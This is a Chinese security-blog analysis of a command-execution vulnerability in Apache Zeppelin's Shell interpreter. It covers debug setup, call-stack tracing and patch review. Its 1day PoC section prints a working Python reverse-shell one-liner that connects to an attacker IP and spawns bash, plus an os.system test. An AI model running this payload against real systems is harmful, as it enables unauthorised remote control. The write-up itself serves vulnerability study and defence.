freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Apache Zeppelin命令执行漏洞深入分析及1Day PoC放漏
锐捷天幕安全实验室 2024-04-29 10:12:13 162523

漏洞简介

Apache Zeppelin 是一个让交互式数据分析变得可行的基于网页的开源框架,Zeppelin提供了数据分析、数据可视化等功能。
攻击者可以使用 Shell解释器作为代码生成网关,系统org.apache.zeppelin.shell.ShellInterpreter类直接调用/sh来执行命令,没有进行过滤,导致RCE漏洞。影响范围 0.10.1 <= Apache Zeppelin < 0.11.1。

环境搭建

docker启动环境

docker run -d --name zeppelin0.9 -p 8888:8080 apache/zeppelin:0.10.1  ##使用docker启动环境
 docker cp c9227a704e89:/opt/zeppelin/bin/zeppelin.sh . ##将docker容器中的zeppelin.sh文件拷贝到本地。

docker远程调试
编写本地zeppelin.sh文件,添加下下面一句话增加远程调试端口。

-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=11000

上面的代码添加到最后一行$JAVA_OPTS 后面就可以远程调试了。
image.png
编辑完成之后将本地的文件拷贝的docker容器中,由于需要重新开放端口,推荐将docker环境提交为新的镜像增加远程调试的开放端口,操作命令如下:

docker cp zeppelin.sh c9227a704e89:/opt/zeppelin/bin/zeppelin.sh ##将编辑完成的文件拷贝到docker容器
docker stop c9227a704e89  ##停止容器
docker commit c9227a704e89 apache/zeppelin:0.10.1_debug ##提交为新的Docker镜像
docker run -d -p 8888:8080 -p 9999:11000 --name zeppelin_debug apache/zeppelin:0.10.1_debug ##重新运行新的docker镜像。

建议在Github将zeppelin下载到本地使用IDEA打开,Github链接地址:https://github.com/apache/zeppelin/releases/tag/v0.10.1

漏洞复现

创建一个以SH为Interpreter 的NoteBook,名称可以随便填写,点击create完成创建。
image.png输入要执行的命令,然后点击一下运行,可以看到界面已经命令执行的结果返回了。
image.png

1day poc

python 语言

1、创建python解释器的notebook
image.png
2、填写下面的POC,点击运行image.png图标

print(os.system("id"))

image.png

反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.167.103",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); ##反弹shel

image.png

漏洞分析

zeppelinServer部分

首先看一下zeppelin的前后台交互模型,前端交互通过HTTP协议和Websocket协议,zeppelin采用单独的jvm来启动interpreter进程,该Interpreter进程与zeppelinServer进程之间采用Thrift协议通信,其中RemoteInterpreterProcess是Thrift-Client端,而相应的RemoteInterpreterServer是Thrift-Server端。每一个Interpreter都属于换一个InterpreterGroup,同一个InterpreterGroup的Interpreters可以相互引用,例如SparkSqlInterpreter 可以引用 SparkInterpreter 以获取 SparkContext,因为他们属于同一个InterpreterGroup。当前已经实现的Interpreter有spark解释器,python解释器,SparkSQL解释器,JDBC,Markdown和shell等。
image.png
界面点运行Run all paragraphs之后,调用org.apache.zeppelin.notebook#jobRun函数执行。
image.png
org.apache.zeppelin.notebook#jobRun函数通过484行中获取命令执行的结果,可以看到这里interpreter是RemoteInterpreter类,执行命令是ls /etc,所以这里会调用RemoteInterpreter#interpret函数。
image.png
主要看一下这里209行数据,通过client.interpret方法从远程获取命令执行的结果,这里client是RemoteInterpreterServer类,通过上面的了解RemoteInterpreterServer调用Thrift协议完成nterpreter进程与zeppelinServer通信。
image.png
RemoteInterpreterServer#interpret函数,调用send_interpret发送当前需要远程调用interpreter的类型和一些调用参数。
image.png
发送interpreter请求流量如下,通过流量也可以进一步验证调用远程的interpreter的类名称是org.apache.zeppelin.shell.ShellInterpreter,参数是ls /etc。
image.png
RemoteInterpreterServer#interpret函数并通过recv_interpret()接收远程的返回信息,流量如下可以看到命令执行的结果以及返回的状态信息。
image.png
期间Web的执行命令的流量是通过HTTP协议和Websocket传输的,在调用HTTP调用API之后会通过,会通过websocket的形式传输要执行的命令。
image.png
命令执行的结果也是Websocket的形式返回。
image.png

Interpreter部分

由于interpreter在JVM中独立运行的,所以在调试interpreter需要重新设置一个远程开放调试的端口。在bin/interpreter.sh文件中的JAVA_INTP_OPTS参数增加下面的一句话,

-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=6666

image.png
org.apache.zeppelin.shell.ShellInterpreter#InterpreterResult方法中执行命令并将执行命令的结果返回,可以看到这里的cmdline是["bash","-c","ls /etc"],在该函数的163行executor.execute(cmdLine),通过execute继续执行命令,这里的executor是org.apache.commons.exec.DefaultExecutor类。
image.png
继续跟进org.apache.commons.exec.DefaultExecutor#execute()方法,会调用本类的executeInternal方法继续执行命令。该函数会执行命令,并将命令的返回的结果写入到stream流。
image.png
继续跟进会执行org.apache.commons.exec.launcher.Java13CommandLauncher.exec方法,在这个函数中会直接调用Runtime.getRuntime().exec()执行命令,分析到这里可以发现,针对于sh的命令一路绿灯一直到执行完成。
image.png
调用栈如下:

exec:621, Runtime (java.lang)
exec:61, Java13CommandLauncher (org.apache.commons.exec.launcher)
launch:279, DefaultExecutor (org.apache.commons.exec)
executeInternal:336, DefaultExecutor (org.apache.commons.exec)
execute:166, DefaultExecutor (org.apache.commons.exec)
execute:153, DefaultExecutor (org.apache.commons.exec)
internalInterpret:163, ShellInterpreter (org.apache.zeppelin.shell)
interpret:55, AbstractInterpreter (org.apache.zeppelin.interpreter)
interpret:110, LazyOpenInterpreter (org.apache.zeppelin.interpreter)
jobRun:860, RemoteInterpreterServer$InterpretJob (org.apache.zeppelin.interpreter.remote)
jobRun:752, RemoteInterpreterServer$InterpretJob (org.apache.zeppelin.interpreter.remote)
run:172, Job (org.apache.zeppelin.scheduler)
runJob:132, AbstractScheduler (org.apache.zeppelin.scheduler)
lambda$runJobInScheduler$0:46, ParallelScheduler (org.apache.zeppelin.scheduler)
run:-1, 1841630602 (org.apache.zeppelin.scheduler.ParallelScheduler$$Lambda$16)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

补丁分析

https://github.com/apache/zeppelin/pull/4708/commits/30483de6130d797abb19ca9998580d5cf463279e
官方直接禁用Shell interpreter的使用,在官网下载一个最新的版本版本启动看看。
image.png
访问最新的版本就可以看到确实在创建的时候sh的选择项已经被移除。
image.png

总结

zeppelin通信时候采用三种协议HTTP+websocket+Thrift协议,通过本篇文章可以大体了一下Websocket和Thrift协议的大致样子。比较有意思的是zeppelin采用单独的jvm来启动interpreter进程调式时候需要单独interpreter设置开启一个远程可以调试的端口。Thrift协议中可以看到内部调用interpret的请求和响应。漏洞原因在于执行的命令时候直接调用底层的命令执行函数,官方针对于该漏洞的修复直接禁用相关的模块,这种修复方式也算是修复的一种方式,应该还会有更好的修复方式。

# 漏洞 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
本文为 锐捷天幕安全实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
锐捷天幕安全实验室 LV.4
天幕安全实验室隶属于锐捷网络安全产品事业部,专注于安全威胁监测分析与研究,攻防对抗技术研究,研究目标包括 Botnet、僵木蠕分析,APT 高级威胁、勒索、挖矿,WEB 与系统漏洞分析 以及最新的攻防技巧研究,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑!
  • 22 文章数
  • 45 关注者
Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)
2024-11-25
Weblogic CVE-2022-21350 RCE漏洞分析
2024-11-24
真实较量|浅谈蜜罐场景下的攻与防
2024-11-10
文章目录